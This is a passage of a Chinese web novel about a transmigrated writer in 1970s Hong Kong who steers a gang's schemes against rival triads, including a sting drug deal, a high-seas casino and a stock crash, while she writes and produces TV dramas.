她扶着额头,虚弱道:“才写了一万字,告诉主编别等我,至少下个月新小说才能出来。” 周玉珍出门去打电话。 工作室终于清静了! 温苒端起水杯想歇一歇,门在这时打开,阿文探头进来:“苒姐,阿伟哥从城外回来,北哥叫你过去一趟开会。” 阿文,继平头伟之后霍骁北新收的小‘徒弟’。 温苒:“……” 默了默,她淡定地吹吹热茶,轻啜一口:“知道了,马上过去。” 此时此刻,温苒实在羡慕阿红,有自己这么一个好老板,就那么大方地给她放了一周的假。 去南洋前,笑哥刚和南凤帮闹翻。 地下赌场被毁,金库归南凤帮,笑哥的三丙堂竹篮打水一场空。 三丙堂手中仅剩的收入来源是一家妓寨、一间麻将馆和一处鸭棚分棚。 按照温苒的计划,平头伟和笑哥表面争权不对付,实则私下谋算和跛脚胜接触,计划重新合作卖粉。 理由都是现成的。 温苒不会浪费任何一样垃圾,就连早已身首异处的收数华她也有安排。 顺着收数华原先联系跛脚胜的线,笑哥以联合卖粉的名义向跛脚胜发出合作邀请。 如今终于有了进展。 平头伟向温苒汇报情况,“跛脚胜很小心的,之前请他来五象城他都不敢来。” 温苒点头,毕竟这是五象城,可谓香江的法外之地,往北城公厕里转一圈,干尸白骨随处可见。 万一来个黑吃黑,跛脚胜哭都没地哭。 至于为什么上次地下赌场开张,跛脚胜不怕死地亲自来。 盖因为他当时是客人身份,北龙帮不仅不能动他,还要保护他。 平头伟问道:“那苒姐,和跛脚胜见面我不好去,笑哥该怎么办?” 温苒却说:“你一起。” 平头伟挠头,看了眼默不作声的霍骁北,犹豫着开口:“可我跟笑哥假装不对付,我去的话跛脚胜会不会怀疑,他人很精明的。” 温苒教他:“人越精明呢越容易多想,也越容易相信自己看到的‘结论’。” 这也是大多数聪明人的通病。 “到时你和笑哥一起去见跛脚胜,如果跛脚胜质疑,你就跟他实话实说。” 平头伟前面还能理解,后面就又不懂了,“实话实说?” 温苒回道:“对,实话实说。” “你就讲,你和笑哥是假装不和。” 点到为止,平头伟恍然大悟:“我懂了!其实我和笑哥私下联手,我是个二五仔,一面借助南凤帮势力震慑北龙帮,一面为三丙堂谋求生路!” 温苒嗯嗯点头,“到时依旧是你应付跛脚胜,让他答应和三丙堂合作贩毒,确定交易时间和地点。” 这年头通讯不方便,一旦确定时间地点就很难再变更。 得到下一步计划后,平头伟回了北城。 这时出城打电话的周玉珍也回来了,“钱导说他随时都可以见面。” 钱导在顾氏旗下的影视公司工作,最近他手上只有《真假千金》这一部电视剧在筹备,所以需要经常去公司开会。 温苒要见他,带上剧本直接去公司,向前台报他名字就行。 和钱导见面宜早不宜迟,温苒让周玉珍明天陪她去顾氏影视。 工作的事情暂且放在一边,温苒并没有因此轻松下,马不停蹄地去找红姐商量开办金玉堂的细则。 阿红和红姐名字都带红,幸好差着年纪,日后堂口办起来红姐就是长老。 霍骁北也没有闲着,召集南凤帮开会,交代这一月来在南洋的收获。 晚上回到公寓,霍骁北带了一份陆建华他们整理出来的赌场重开计划,温苒边吃饭边翻看。 她没有开赌场的经验,但显然南凤帮里能人不少。 毕竟虽然金盆洗手,可以前人家就靠这个吃饭的。 值得注意的有两个问题:赌场开在哪儿和该派谁去管理。 这两点温苒一早就有想法:“当然在公海。” 相比较五象城,公海才是真正的法外之地。 正好现在不缺钱,定制或改装一艘豪华游轮不算难题。 而派谁去管理,这个要南凤帮自己商量。 关于这一点,温苒觉得可以把笑哥塞进去充数。 三丙堂或者整个北龙帮势必要并进南凤帮,南凤帮大哥是陆建华,笑哥显然不服气。 但笑哥在收服北龙帮的过程中立下过汗马功劳,卸磨杀驴未免令人寒心,去船上看场发挥发挥余热就不错。 定好方案后,南凤帮上下迅速运转起来。 次日,温苒带阿红和周玉珍去顾 氏影视。 吴佳莹也想去,顾氏旗下签约了很多大牌明星,风靡亚洲。 但车子空间有限,霍骁北开车,温苒坐副驾,后座是阿红和周玉珍,回来时还要载采购的衣食用品。 温苒只好答应吴佳莹,下次一定带她。 和钱导见面敲定其中一版剧本后,钱导看另一版越看越舍不得,一咬牙干脆要带温苒上楼去见顾鑫超大哥。 温苒看出他的想法,劝道:“鱼与熊掌不可兼得,即便拍第二部,就算质量很好也大概不会比第一部受欢迎。” 历来系列作品,尤其是系列电视剧,口碑和收视率几乎全都一部差过一部。 钱导被她劝住,可看着手里剧本实在舍不得。 温苒想了想,“既然这样我有个想法。” 钱导坐直了看她,“你讲。” 温苒朝周玉珍要过笔,在第二份剧本上勾勾写写,然后拿给钱导。 钱导接过来扫了眼,眼睛忽地变亮,抚掌三下后指着温苒笑骂:“你个鬼灵精,怕是故意玩弄我吧?” 温苒故作无辜地眨眼,“我只是看钱导颇为苦恼,才灵机一动想出这个办法罢了。” 钱导正高兴,才不会跟她计较,只满口应下:“等这部剧播放后看收视率如何,我再去找顾总谈下一部。你不晓得,顾总很严格的,反响不好下一部戏就没影喽。” 温苒表示理解,香江各行各业都很难混,也卷生卷死,报纸如此,影视行业更是如此。 不过听了这话温苒却冒出别的想法:“如果钱导在顾氏没戏拍,可有意向另谋高就?我认识一个不错的去处。” 当然是她们金玉影视了! 钱导笑呵呵摆手,“你不要咒我啊!” 温苒只好遗憾地退而求其次,“那钱导有没有很会拍戏的徒弟,如果没有,我可以为钱导介绍几个悟性不错热爱导演的年轻人。” 钱导愣了下,惊奇道:“有倒是有的,你问这个做什么?” 温苒清清嗓子,“其实是我朋友,她开了一家影视公司,正在招募员工。” 钱导摸着下巴若有所思,“那我向你推荐我一个徒弟,他性格孤僻古怪,脾气也很差,要不是有几分才华我才不要他。” 也正是因为脾气太差,这个徒弟得罪很多人。 顾总是不计较这个,但公司同事受不了,目前他正失业生活困顿。 温苒眼神发亮,脾气差怎么了,只要有才华一切好商量。 要知道,她们金玉堂所在的南凤帮可是五象城地头蛇啊,软的不行就来硬的。 她们城外的同行又不是没干过强迫人的事,拿枪指着导演演员拍戏的传闻可是登过报纸的。 温苒心虚地啜了口茶水。 咳,她当然跟那些不懂艺术的粗人不一样。 枪肯定不能指着无辜百姓的脑袋。 互相交换联系方式,并得到钱导会告诉他徒弟去五象城面试的保证后,温苒才带人离开。 午饭在城外吃,四个人要了间包厢。 饭菜上来后,温苒和霍骁北乔装打扮成服务员,从餐厅后门离开,悄悄来到一家咖啡馆。 霍骁北约了O记警察,据说姓陈,陈帮办在这里见面。 霍骁北和他背对而坐。 陈督察举着报纸假装翻看。 霍骁北和温苒则是情侣约会。 霍骁北让陈督察撤掉部分监视跛脚胜的人手,去盯北龙帮最近发展的几个散货点。 北龙帮如今四分五裂,群魔无首开始乱舞,从长老到四九仔都在捞钱准备后路,卖粉卖到了城外其他帮派的地盘。 继续发展下去,北龙帮很可能得到城外帮派的扶持,从而死灰复燃。 陈督察还是很信任霍骁北的,虽然不知道霍骁北身份姓名,但两人曾有过多次合作,结果喜人。 回到五象城,温苒终于能暂且休息片刻。 她靠在座椅上拿过今天的报纸,忽然想起来自己还欠孙家一份礼物。 用另一种笔迹写上大新闻,温苒交给助理,让她们找个帮里的出租车司机,明天出车时在城外寄出去。 霍骁北听说后,第二天一早就去股交所买跌孙氏股价。 转天,《香江快报》上一则新闻惊爆香江。 ——孙大少又进赌坊!孙氏家族后继无人! 第118章 第118章七零香江作家19 在港股打了鸡血涨幅狂飙的这一年,孙氏的股价一天内由五十三元跌到二十元不止。 当天晚报的新闻头版头条就是:孙老急火攻心突发脑梗进院! 霍骁北因此大赚一笔,还带温苒看起了别墅。 孙老爷子昏迷不醒,孙家闹得人仰马翻,一天上三遍报纸,各房争夺家产的战争步入白热化。 温苒每天都翻报纸都会扫到,全当看戏了。 孙家不好过,孙家二房更不好过。 孙荣美一家三口何止一个惨字了得,被无辜背锅的大房父子针对,差点被赶出家门。 好在没几日,孙老爷子便醒过来。 孙家大戏很快落幕。 温苒腾出精力来,吃饭时过问了下和跛脚胜合作的进度。 霍骁北一直在帮她盯这件事,闻言回道:“不太顺利。” 温苒不解:“跛脚胜竟然不愿意卖粉?” 没道理收数华找他合作他愿意,换成笑哥就不行了。 一定是嫌太少。 一定不是跛脚胜有底线有人格。 霍骁北:“不是。” “他也想办地下赌场。” 温苒听了竟然一点不意外,就说跛脚胜不是什么好东西吧。 吃过饭,温苒沉思片刻,说道:“恐怕跛脚胜所图不止地下赌场。” 五象城如今的格局不是什么秘密。 南城南凤帮独大,北城四分五裂。 笑哥的三丙堂夹在南凤帮和四分五裂的北龙帮中间艰难求生。 外人看来,三丙堂连生存下来都成问题,不然也不会向外寻出路,找跛脚胜合作卖粉。 北城势力混乱秩序不稳,地下赌场重开简单,但如何维系下去可不简单。 除非跛脚胜别有所图。 ——他想吞并三丙堂,以三丙堂做跳板踏入北城乱局,收拢势力重建北龙帮。 就是不知,这是跛脚胜一人的打算,还是他福角堂所在新福会的谋划 因为此事,平头伟和跛脚胜见面几次都没谈拢。 见状,温苒只好让平头伟暂停行动,好好吊一吊跛脚胜的胃口。 趁这个时间把公海赌场开起来,也好逼跛脚胜一把。 孙少赌博再登报后,曾经北龙帮地下赌场的金贵客人们人人自危。 孙氏下场就发生在昨日,他们可不想重蹈覆辙。 就在这时,南凤帮的致歉信和请柬上门,向客人们说明情况。 原来孙少去地下赌场赌博的事情是个乌龙! 赌场易主不假,但客人名单被保护得密不透风,是龙爷旧党心存报复,故意捏造莫须有的假新闻。 致歉信里,把大黑锅推到北龙帮剩下两个堂口头上,并表示南凤帮绝不会这样。 同时附带的邀请函上写明 ,南凤帮正式接手地下赌场,并把赌场转移到公海上的豪华游轮中。 配几张游轮内部装修照片,可谓美轮美奂奢华享受。 当然上去一趟的花费也不菲,几乎每样东西都需掏钱购买。 ——温苒虽然没有开赌场的经验,但她有消费经验,每个氪金点都给安排得明明白白。 不信这些有钱人不心动。 游轮开张放在了中秋节后,每次营业为期半月,以防万一陆建华和刀哥亲自带人去看场。 第一次营业结束,数了数收入,陆建华和刀哥嘴都笑歪了。 那边客人享受到至上服务玩得开心,这边游轮的账面也很好看。 不仅帮里收入客观,就连看场的马仔、培训上岗的服务生们拿到的小费也都鼓鼓囊囊,加上工资和出差补助,这一趟简直赚翻了! 唐叔看着最后汇总出来的数字,在会议室里激动地乱转,笑得前仰后合:“哈哈哈哈赚翻了赚翻了——” 帮派有了稳定且丰厚的收入来源,下面的马仔也有捞金的方法,冒着穷酸气的南凤帮摇身一变成了暴发户。 接下来就是把暴发户变成钉子户,要有钱就一直有钱。 其他三个堂口学温苒的做法,向夫妻两个取经开公司。 温苒却有不同的建议:“帮派名义注册总公司,每个堂口开分公司,公司股份属于所有成员,高层领导只决定公司发展和投资方向。” 鸡蛋不能放在同一个篮子里,反之,篮子必须要捏在同一个人手里。 大家听了都说好,但怎么办却很抓瞎。 看场干架他们很行,开公司真是没那个本事。 于是一群人只好把目光转回夫妻俩身上。 刚好温苒的黄雀堂和金玉影视公司马上开张,干脆请这些人参观,学习学习经验。 初创的公司乱糟糟很常见,但温苒前期就准备了很长时间,部门分工管理制度工资制度等等上来就很完善,因此公司内部井井有条。 公司所有女员工都来自女住楼,是温苒一个个上门请过来的。 读过书识字的只用接受公司培训,不识字的每天额外安排两个小时扫盲课。 扫盲和培训合格后,再进行岗位分流。 除女住楼员工外,温苒见过钱导介绍来的徒弟赵齐后,配合他组建了公司第一个剧组班子。 这阵子通过市场部吴佳莹吴部长拉来许多广告单子,赵齐正在带团队拍画报拍广告磨合。 有温苒砸下来的十几本剧本吊着,赵齐简直脾气不能再好,让做什么做什么。 来金玉影视取过经后,这些人回去就铆足了劲想制度想福利,不止自己想,还开会让大家一起想。 这之后,温苒脚不沾地地进城,每日出入顾氏影视和钱导讨论剧本大纲。 香江拍电视剧电影都是赶投胎,好像有今天没明天一样,有个大纲再拉个班子,随便挑个合眼的演员就能开演。 温苒过起了白天在片场改剧本晚上回公寓写剧本赶稿的日子。 因为演员都是临时拉来的,考虑到演员演技形象档期和磨合问题,许多原本定好的情节都需要再修改,每天拍摄几乎一半的戏都是飞页。 拍摄一周后,片子送剪上映。 这部打着大热小说改编的电视剧,第一天播出就破了台里的收视记录,之后几天更是节节攀升,没有最高只有更高。 温苒本以为能松口气,至少不用像钱导说的那样,被低迷的收视率逼迫改剧本完结。 可她却忘了资本家就是资本家,看到羊毛身上出那么多毛,就得寸进尺还想再榨点油。 收视率这么高这么精彩的电视剧拍二十集怎么够? 加长度!加到三十集! 加演员!没名气的小生花旦全进剧组打酱油! 唯一得到的安慰的,恐怕是电台和顾氏给温苒一提再提的工资,以及定好的接下来两部电视剧的合作。 一部古代版本的真假千金,和顾氏合作剧本。 一部是《王牌沙展》的电视剧改编,由金玉影视和电台合作,导演赵齐编剧温苒,优先选取电台内部培训班的演员。 一天的拍摄结束,温苒带两个保镖和两个助理回公寓。 这阵子她都在城外住,有时是酒店,有时是霍骁北方便她工作专门买下的公寓。 南凤帮开公司的计划正在稳步推进,在请了几个专业人士指导后,霍骁北只用盯一盯关键节点,转而忙起了五象城服务基金。 温苒忙,他也忙。 住一个地方还好,至少晚上回家能见到。 然而温苒住到了城外,霍骁北就跟她一起住到城外,每天开车回五象城上下班。 剧组里也时常能见到霍骁北探班的身影,在有意无意的透露下,温苒的黑色背景传扬了出去。 在这个混乱的年代,不怕你背景横,就怕你没背景。 就连香江富豪,想把生意平稳做下去都要和帮派有几分交情。 温苒长相姣好,如今香江娱乐圈乃至全亚洲吹上天的靓男靓女们到她面前都要低一头。 更别提温苒一身书卷气一肚子墨水,完全不是脑袋空空的花瓶能比的。 某些人动起歪脑筋实在一点不奇怪。 饶是温苒有背景的消息透露出去,也有些不怕死的天天往剧组送花。 不给演员送花给编剧送,也算难得一见了。 钱导多次调侃:“这些花可省了不少道具费,往桌上一摆每天都不带重样的。” 温苒忙着改剧本头也不抬,“拿走拿走,别让霍骁北知道。” 他可是个醋缸,现在不会怎样,等她空下来才会醋劲大发跟她要债。 都欠了那么多没还,温苒可不想再欠。 把花拿给道具组,钱导背着手走到温苒身侧看她写剧本,“电台下部剧播完,顾氏就打算拍古装版,我尽量跟公司争取先定演员和剧本。” 剧组飞页实在熬人,最熬编剧,编剧又只有温苒一人,进组后她天天打哈欠瞅着就没睡醒过。 温苒感激道:“多谢钱老!” 《真假千金》迎来大结局时,利叔带人看场,豪华游轮载着客人第二次开张出发。 而跛脚胜也终于坐不住了,主动派人进城找笑哥和平头伟。 结束繁忙的剧组生活后,温苒带阿红和新请的保镖助理回到五象城。 笑哥等不及来找温苒,问什么时候解决跛脚胜,他好带兄弟们去船上看场。 温苒让他等等,“不着急,吊一吊跛脚胜,否则他以为我们能随意拿捏呢。” 也让她先好好休息几天再说。 游轮再次靠岸,利叔带人回到五象城,见了面开口就是:“他老子的,新福会派人混上游轮差点坏事,要不是早有准备,下头人也机灵,我们都得翻船喂鱼!” 地下赌场无法不让人眼红,收入丰厚,赌场客户更是现成人脉。 才第二次营业,温苒拿到的客户名单上就出现了香江政界警界高官和英国驻香江高级军官。 温苒和霍骁北对视,看来入主五象城不仅是跛脚胜的想法,也是新福会的谋算。 第119章 第119章七零香江作家20 新福会来势汹汹,除了让跛脚胜再次联系三丙堂,其下的几大堂口陆续接触三甲堂和三乙堂,同样是合作卖粉。 有新福会插手,陈督察原本顺利的抓捕行动出现许多波折。 陈督察主动联系霍骁北,得知新福会的打算后,决定暂停行动。 这个年代的香江警匪关系其实很微妙,警局里不乏接受帮派捐赠盯紧同僚动向随时通风报信的二五仔,帮派里也有许多警察派去的卧底。 新福会是香江数一数二的大帮派,由黄氏家族管理,其龙头人人尊称一声‘黄爷’,明面上是黄氏集团董事长。 所谓新福会,不过是黄氏家族的黑手套,黄赌毒场所开遍香江,触角甚至伸到东南亚。 而黄氏家族在外形象良好,报纸上每每出现新闻都是在提及捐款做慈善。 这种身份清白地位不凡形象正面,实则无恶不作的罪犯最难搞。 若要 让新福会入主北龙帮,恐怕下一步就是拔除南凤帮一统五象城,届时法外之地摇身一变彻底变为罪恶之城。 会议室里,众人听完分析忧心忡忡。 新福会势大,振臂一挥几万帮众响应,哪是他们小小一个南凤帮能应付的? 应付不了,直接举手投降也不可能,那不成了孬种? 南城好不容易才让他们治理成现在这样,干净、卫生、安全,马上拿下北龙帮后还要通水电,还会建立公共服务基金让所有城民参与治理…… 从前脏乱差的五象城,是在他们南凤帮手上才变好,凭什么新福会说来就来说毁就毁? 没门! 利叔暴脾气拍桌:“我就不信!北龙帮我们能拿下,新福会我们也不怕!” 唐叔更理智,劝他息怒:“新福会有北龙帮五倍人还多,一人一根棍就能把城门冲垮。” 利叔听完更气了,蹭地站起来,“大不了我绑炸药冲到新福会据点,死也要拉群垫背!” 唐叔简直要拽不住他,“当心被弟妹听到,不然你晚上都回不去家门的!” 利叔浑身僵住,表情不自然地抽了抽,底气不足地反驳:“不能够,我才是一家之主。” 新福会试探的触角已经深入五象城。 然而南凤帮除了戒严警惕,还是该干什么干什么。 赚钱大业一刻不能停。 歇了两天,温苒让平头伟继续和跛脚胜接触,她闲不住准备起了下本小说。 答应《香江快报》的小说是武侠小说,温苒准备了三部,每部六十万字打底,目前第一部第一卷刚进入中段。 和目前市面上其他武侠小说不同,温苒的《长生诀》开篇就带着缥缈仙气,主角出身也十分普通,连性别都刻意模糊。 主角1章 拜师,2章 学成下山,甫一入世便惊动江湖。 这是武侠小说,主角入江湖历练,但有心人早就发现,无论面对多大的危险无论多么千钧一发的时刻无论多么狼狈的处境,主角从未动过内力。 便是主角身边根骨奇差的小徒弟都曾用内力点过敌人穴道,这让读者不禁疑惑,主角到底有什么难言之隐? 温苒并不打算在小说中回答这个问题。 主角到底什么时候才会使用武功?他的武功又是怎样的?他为什么不使用武功?他不使用武功,又如何在遍地高手的江湖上生存下去? 这诸多的疑惑,何尝不是吸引读者追更的手段? 第一卷的末尾,主角在千钧一发之际带小徒弟逃出魔窟,不想刚出虎穴又入狼窝,甚至身中奇毒命不久矣。 留下一个大钩子,温苒伸了伸懒腰。 她要在第二卷中透露一些主角和其门派的神异之处,让读者大开眼界的同时给她们点甜头。 一直吊读者胃口,容易把读者吊跑的。 写完回家吃饭,温苒看到平头伟和笑哥也在,问他们和跛脚胜接触得怎样。 笑哥正在切菜,闻言放下菜刀看过来,撇嘴摇头摊手耸肩,“我不知啊,每次见面都是阿伟在跟跛脚胜聊,我吃吃喝喝就可以。” 温苒:“……” 要你何用啊! 择菜的平头伟笑着说道:“跛脚胜已经开口说想拿货,我在跟他讨价还价。” 温苒想了想,对他说:“阿伟,你悄悄打听一个人。” 平头伟看了眼灶台旁的霍骁北,纳闷道:“苒姐,北哥也让我找个人,莫非你们是要找同一人?” 温苒愣了下,也看向霍骁北:“你找谁?” 霍骁北盛出焯好水的蔬菜丸子,擦擦手回道:“陈辉,跛脚胜的手下,元岛乡下人。” 温苒茫然点点头,“哦。” 这谁? 平头伟和笑哥蹭完饭,洗碗擦桌带垃圾下楼。 温苒窝在沙发上冲霍骁北勾勾手。 霍骁北过去坐下,温苒像只猫一样蹭过去,窝在他怀里,眨巴大眼睛看着他,“那个陈辉是男主角?” 霍骁北嗯了声,“有精力盯上五象城,看来新福会内部还不够乱,送个私生子回去夺权。” 温苒也是想到了这茬儿,也是想找到男主合作,毕竟她们的共同敌人都是新福会。 但她的剧情里甚至没有男主的名字,更不知道男主竟然还是黄家的私生子? 不过想想也说得通。 男主陈辉从乡下穷仔逆袭成全香江黑帮的阿公,这不是典型的男频龙傲天类型? 光给男主一个打鱼仔的身份没看头,所以总要额外安排悲惨的身世。 这个悲惨的身世不仅造就他一开场就悲惨的起点,也是他逆袭道路上的阻力。 新福会底层马仔陈辉,竟然是新福会阿公的私生子,这样巨大的身份反差颇具戏剧性。 和顾氏谈好的古装版真假千金出了些意外,接到钱导电话,温苒带助理保镖出城去顾氏。 顾鑫超大哥百忙之中抽出一刻钟,专门向温苒致歉:“抱歉温小姐,上部戏的合作公司和电视台都十分满意,我们也很期待和温小姐接下来的合作,不过情况出现变故。” 钱导接过来,“孙氏影视见《真假千金》大火,立马拉组模仿,选的背景正是古代。” 钱导说着非常气愤:“还不要脸地在同一家电台播放,打着接档的名头宣传!” 温苒一听就懂了,这是蹭热度啊! 然而她们还真拿对方没什么办法。 不是大张旗鼓地抄袭,又在同一家电视台上映,电视台方面还很乐意自家播放的电视剧吃上热度。 最能评理的观众只要有精彩的电视剧看,才不会管背后发生了什么。 更别说,这个年代信息传播落后,不是什么惊天的伦理大戏根本不会引起大面积舆论风波。 于是温苒精心准备的第二版剧本只能惨遭雪藏。 憋屈是一方面,还有愤怒。 ——截胡她的可是孙氏! 据说还是死灰复燃重归经理之位的孙荣美,一手主导了这次商业竞争。 孙家大房真没用,温苒把刀送到他们手里,连水都烧热了竟然还能让猪跑了? 暴躁至极的温苒上车回城,一路都在琢磨对付孙家人的招儿。 还有电视台,之前刚答应她要合作,转头就跟孙氏影视勾勾搭搭,还一声不吭蹭她的作品博取热度。 既然如此,《王牌沙展》的改编温苒也不必再与这家电视台合作。 香江可不止它一家电视台。 比它规模大的电视台温苒没办法,干脆收购或入股一家小电视台。 回去就让霍骁北批钱! 回去就让赵齐带剧组开拍! 孙家的电视剧什么时候上,温苒的电视剧就什么时候上,撞题材分热度,自损八百也要坑一把孙荣美和电视台! 温苒变脸飞快,刚才还一脸不忿,回到家就指使霍骁北去收购一家电视台。 “另外,再查一查孙家发生了什么,孙荣美竟然官复原位了?” 霍骁北端上午饭,温苒点名要吃的米线和烧饼,坐下来说道:“孙家大房趁孙老爷子昏迷时收拢股份,现在父子斗法,昏招百出。” 咯滋咬下一口酥饼,温苒顾不得咽下去就问:“怎么报纸上没报道过,一点风声都没有?” 霍骁北揪了张纸巾给她擦擦嘴角,回道:“应当是孙家和报社打过招呼,帮派成立的公司计划投资房地产,刚从孙氏三房手里收到一块地,位置不错适合开发成中档住宅。” 温苒惊讶:“都开始卖地了?” 如今可是香江房地产腾飞的黄金时期,地皮升值速度堪比火箭,谁手里有地皮谁能横着走。 结果孙氏三房就这么卖了…… 温苒眼珠一转,这条消息登报似乎可以预见孙氏股票再跌谷底的局面。 不过温苒选择不登。 孙氏三房和孙荣美一家是竞争关系,孙老爷子年老糊涂,倚仗其他几房子女和大房争斗。 三房不行,二房肯定要顶上,孙荣美反而会蹦跶得更高。 三房不能倒,得继续在二房身上做文章。 譬如和孙荣美监制的电视剧打擂台。 午休后,温苒到公司找赵齐,一声令下宣布开拍。 赵齐:“……” 资金充足,剧本优秀,团队默契,但问题是演员呢? 演员难道不是谁都能当? 温苒淡定地吩咐助理:“叫公司员工过来面试,另外在城里也发个通知。” 赵齐抹把脸,行吧,群众演员在城里找,主演他去联系。 一切到位,古装版《真假千金》,暂定剧名《群姝》开拍。 温苒略改动了下剧本,她从孙氏争权中得来灵感,强化了宅斗线。 宅斗、宫斗和权谋三个题材完全踩在了人性弱点上,相比权谋的枯燥和门槛,宅斗和宫斗门槛低受众更广。 宅斗仅作为《群姝》副线,稍微润色后剧本的好看程度就更上一层楼。 赵齐更加有信心,连夜拉着剧组开剧本围读会,盯着四个女主角写小传,一副要把这个电视剧拍成传世巨著的架势。 《王牌沙展》的结局登报后,温苒手头只剩《长生诀》一本小说正在连载,正好全身心投入到电视剧拍摄中。 电视剧拍摄过半时,霍骁北成功收购一家濒临倒闭的电视台,并利用系统奖励给电台设备来了个全面升级。 通过钱导打听到,孙氏的电视剧安排在圣诞节前播放,温苒不早不晚,比她们早三天,还打着古装版《真假千金》的名头。 三天内,原本收视低迷的电视台收视率节节攀升,直逼播放到大结局的孙氏合作电视台。 收视率就是王道,收视率一上来,中插广告都从可怜兮兮的两家帮内赞助——出租车和家具厂——多了食品、日化和服装等大手笔的商家赞助。 《群姝》早播三天,吸足赚够了热度。 孙氏和电视台的古装版《真假千金》未上先颓,这年头又没什么立竿见影的营销手段,只能拼质量。 温苒要连质量都拼不过,干脆金盆洗手算了。 是以孙氏和电视台寄予厚望的古装版《真假千金》除了开播时有点水花,后面被《群姝》碾压到地心。 《群姝》还独创性地把广告不着痕迹加进剧里,衣食住行都替代成赞助商品。 随着电视剧播出,那些赞助商赚得盆满钵满,其他商人无不眼红,纷纷来找五象城电视台合作。 各家电视台有样学样,在讨好广告商的方向上使劲。 剧组交给赵齐,温苒腾出空来,和霍骁北配合平头伟给跛脚胜设局。 磨了几个月,平头伟终于让跛脚胜相信他是真的背叛了南凤帮。 跛脚胜也向平头伟透露了新福会的野心,劝说平头伟和阿笑带人投靠他们。 不过在此之前,得先跟男主陈兴辉谈一笔交易。 第120章 第120章七零香江作家21 陈兴辉是跛脚胜带领的福角堂里的马仔,乡下小子,中学没毕业就进城混了帮派,至今还在跟着大哥看场打杂。 乍一看好像没什么问题,和男主常常伴随的事精体质也毫无关联。 但据平头伟打听到,陈兴辉这个人很费大哥。 五年多将近六年,陈兴辉跟过的大哥要么死要么残。 最惨的是福角堂上一任坐馆,帮派火并时被自己人误拿枪突突了不说,尸体一半被狗啃一半喂了鱼。 跛脚胜自诩读书人,却深到骨子里的迷信。 半年前他正式管理福角堂后,就把陈兴辉打发到距离赌场最远的妓寨看场。 堂口里人人晓得陈兴辉得罪胜哥,都极尽所能地欺压他。 就算陈兴辉拳脚功夫过人,身上也时常带伤。 温苒只有自己的剧情,不晓得这位未来的香江阿公是如何逆袭的,但不管怎样,对方应该是个聪明人。 聪明人不会拒绝她们递去的橄榄枝。 平头伟和跛脚胜再见面,确认交易时间后,出来就偷摸把陈兴辉绑了带回五象城。 于是等陈兴辉醒来,面对的就是会议室里南凤帮一众坐馆长老。 清一色的臭男人中,温苒以及她一侧和身后的几个女性就格外显眼。 陆建华斜靠在上首老板椅中,翘着二郎腿拍拍桌,在陈兴辉看过来时,下巴抬了抬指着末尾的空座:“阿辉是吧?坐!别见外。” 陈兴辉顺着他的视线看过去,先看到的却是空座紧挨的平头伟,以及平头伟旁边的笑哥。 他瞳孔震了震,这两个人……这两人不是…… 平头伟冲他笑笑,拍着椅子热情地招呼他:“阿辉来坐啊,就等你开会了。” 笑哥抱着手臂,高昂着头上下打量陈兴辉,语气不耐烦:“衰仔快点啊,听不懂人话是吧?” 陈兴辉对人的情绪很敏感,所以瞬间感受到了笑哥声音里的优越感。 优越感??? 陈兴辉:“……” 陈兴辉搞不懂眼前的情况。 笑哥和平头伟是赌场常客,胜哥的朋友,听说来自五象城北龙帮,是北龙帮三丙堂的坐馆和揸数。 前段时间北龙帮鸭棚着火,一夜之间死了两个阿公,杀手至今下落不明,这么大的事道上传得沸沸扬扬。 之后北龙帮四分五裂,三个堂口各自为政,后面为了抢地盘生意大打出手。 所以在三丙堂,笑哥和平头伟是绝对话事人。 然而眼前,在这张桌子上,三丙堂的两个大哥却只能沦落到末尾的两个位置。 视线不着痕迹地掠过一圈在场人,陈兴辉道声谢,面色凝重地朝着空位走去,脑海中飞快思考着眼下到底什么情况? 陆建华没有卖关子,点点桌子示意会议开始,冲陈兴辉开门见山道:“阿辉,阿伟带你来,是我们想同你谈一笔交易。” 饶是陈兴辉练气功夫挺好,听说这里是南凤帮后都不可避免露出惊讶表情。 还令他震惊和不解的是,他有什么值得交易之处? 难道是想收买他,让他在胜哥手下卧底? 陈兴辉不知自己该不该讲,胜哥讨厌他像讨厌过街老鼠。 看出了他的疑惑,陆建华问道:“阿辉可知你们新福会的阿公?” 陈兴辉不明所以地点头。 他不仅知道,他曾在福角堂上一任惨死的坐馆身边当保镖,还有幸见过阿公一面。 下一秒,陆建华平静地砸下一颗雷:“那阿辉你可知,你是你们新福会阿公流落在外的儿子?” 陈兴辉花了片刻才反应过来,第一感受只觉荒谬。 他沉着脸,“陆爷莫要说笑。” 陆建华却果真笑了笑,回道:“是真是假我们替你查得清清楚楚。” “二十多年前,黄阿公受伤失踪半年,那半年就躲在乡下渔村养伤,照顾他的人正是你母亲。” “等伤养好,黄阿公一声不吭离开,独留你母亲遭受流言蜚语,之后生下你,母子二人相依为命。” 陈兴辉放在桌下的手捏成拳头,骨节发白,青筋迸出,神情痛苦愤怒。 陆建华缓了缓,继续道:“然而之后没多久一次意外,你母亲死在火灾中,你侥幸活下来被收养。” 陈兴辉费劲全身力气才稳住没有失态。 当时他才三岁,漫天大火将海边的小木屋烧得一干二净。 时至今日,陈兴辉脑海中关于母亲的面目早就模糊不清,但对母亲的思念却与日俱增。 就在陈兴辉心神脆弱之际,陆建华开口:“我要告诉你,火灾不是意外。” 陈兴辉猛地抬头望过去,眼眶通红,眼神发狠,死死盯着陆建华。 “是谁?是不是他?” 陆建华摇摇头:“是黄爷娶的妻子。” 陈兴辉举着双拳砸桌,喉咙里发出嘶吼。 温苒在此时说道:“黄爷妻子动的手,黄爷却未必不知。” 必是黄爷先透露了什么,他妻子才能顺藤摸瓜找到陈兴辉母子,并继而痛下杀手。 陈兴辉抬头看了她一眼,追问:“当真?” 温苒回他:“真相如何,你亲自进黄家寻 找便知。” 理智回笼,陈兴辉明白过来所谓‘交易’为何。 他紧抿着嘴角,“你们要我去黄家做什么?我怎么知道你们说得这些是真是假?” 突然把他找来,告诉他这些,陈兴辉可不会认为南凤帮是在发善心。 他们必定有所图谋! 温苒还是那句话:“是真是假,等你到了黄家自己找证据。” “至于我们要你做的,也不难。” 温苒看了眼陆建华,示意他说下去。 陆建华清了清嗓子说道:“阿辉,我们送你回黄家,你要跟黄爷其他儿女夺权。” 新福会势大,南凤帮直接对上绝对吃亏,不如让他们自己乱起来无暇他顾。 隔了这么远,陈兴辉都被陆建华说话的口气震住。 他默默转头去看温苒,这叫不难? 温苒看懂他的眼神,说道:“自然不会让你空手进黄家。” 陈兴辉飞快看了一圈其他人,明白自己没有选择的权利。 既然如此,他只能要尽可能争取有利条件,“你们会帮我?” 陆建华点头,“自然,我们是朋友,五象城会站在你身后。” 